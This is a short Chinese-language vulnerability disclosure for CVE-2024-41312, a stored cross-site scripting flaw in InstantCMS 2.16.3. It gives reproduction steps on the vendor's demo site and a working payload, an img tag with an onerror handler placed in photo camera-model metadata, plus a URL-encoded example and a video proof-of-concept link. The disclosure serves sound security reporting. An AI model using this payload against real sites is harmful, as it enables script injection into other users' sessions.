CVE-2024-41312.
InstantCMS - 存储型跨站脚本漏洞（XSS）
受影响版本：InstantCMS 2.16.3
复现步骤：
- 以演示用户身份登录 https://demo.instantcms.io。
- 访问 https://demo.instantcms.io/photos/upload。
- 上传一张图片，在其相机型号名称元数据字段中嵌入载荷测试
<img src="https://raw.githubusercontent.com/amal264882/cve-2024-41312./HEAD/asd" onerror="alert(1)">。
- 访问 https://demo.instantcms.io/photos/camera-{payload}
- 示例：https://demo.instantcms.io/photos/camera-Amal_Test%3Cimg+src=%22asd%22+onerror=%22alert(1)%22%3E
- 你将观察到 XSS 载荷立即执行。
POC：
<a href=https://d.pr/v/DT8Gve>视频演示
